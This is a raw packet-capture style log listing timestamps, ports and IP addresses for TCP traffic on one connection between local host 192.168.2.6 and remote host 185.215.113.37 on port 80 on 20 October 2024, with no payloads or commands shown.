Oct 20, 2024 21:16:17.163527012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163532972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163547993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163558960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163563013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163578987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163580894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163606882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163633108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163820028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163834095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163846970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163861036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163875103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163886070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163887978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163904905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163913012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163918972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163928032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163933992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163947105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163959980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163961887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163975000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163986921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163989067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164000988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164004087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164019108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164031029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164032936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164047003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164056063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164061069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164076090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164083958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164093971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164108992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164129019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164428949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164443016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164457083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164472103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164477110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164485931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164500952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164504051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164515972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164530039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164544106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164572954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164614916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164629936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164642096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164654970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164674997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164693117 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164702892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164716959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164730072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164733887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164745092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164752007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164758921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164772034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164776087 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164788008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164802074 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164803028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164817095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164827108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164830923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164845943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164845943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164860964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164868116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164875984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164890051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164895058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164904118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164915085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164920092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.164942980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.164969921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165537119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165550947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165564060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165577888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165586948 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165594101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165606022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165607929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165621996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165632010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165636063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165644884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165648937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165663004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165673971 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165676117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165688992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165699005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165704012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165719032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165719986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165734053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165740967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165747881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165760994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165770054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165779114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165787935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165791988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165806055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165810108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165819883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165828943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165833950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165849924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.165857077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165874958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.165898085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.172610044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.172626972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.172648907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.172661066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.172672987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.172677040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.172684908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.172697067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.172710896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.172715902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.172729015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.172749043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.172799110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.172815084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.172822952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.172830105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.172858953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.172877073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.172955036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173005104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173038006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173049927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173062086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173074961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173088074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173089027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173120022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173162937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173176050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173208952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173310041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173321962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173333883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173346043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173357010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173358917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173377037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173378944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173389912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173391104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173401117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173413992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173417091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173424006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173434973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173437119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173449993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173460007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173463106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173471928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173475027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173508883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173789978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173800945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173813105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173825979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173836946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173837900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173849106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173856974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173860073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173870087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173883915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173911095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173924923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173933029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173934937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173947096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173958063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173970938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173979998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173980951 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.173983097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.173995018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174002886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174006939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174046993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174046993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174525976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174537897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174546957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174565077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174575090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174576998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174587011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174598932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174609900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174622059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174632072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174640894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174643040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174654007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174655914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174665928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174684048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174696922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174707890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174710035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174720049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174731970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174737930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174746990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174757004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174758911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174767971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174777985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174778938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174791098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174803019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174803972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174814939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174827099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174829006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174839020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174843073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174849987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174860954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.174870014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.174899101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.175491095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175502062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175523043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175534010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175545931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.175545931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175559044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175570011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175575018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.175581932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175594091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175605059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175611019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.175616026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175627947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175638914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175642967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.175651073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175662994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175664902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.175676107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175684929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.175704002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.175731897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.175937891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175949097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175961018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175972939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.175985098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.175985098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176013947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.176054955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.176095963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176107883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176119089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176130056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176135063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.176140070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176146030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.176161051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176172972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.176172972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176186085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176189899 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.176193953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176201105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176203966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176209927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176215887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176218987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.176228046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176239014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176249981 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.176251888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176264048 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176275969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176280975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176282883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.176290989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176291943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.176297903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.176322937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.176363945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.177032948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177046061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177056074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177066088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177078009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177089930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177094936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177094936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.177099943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177105904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177110910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177115917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177129030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177139997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.177141905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177150011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177158117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177165031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177171946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.177175045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177189112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177200079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177207947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.177211046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177222013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177231073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.177234888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.177247047 CEST	80	49711	185.215.113.37	192.168.2.6
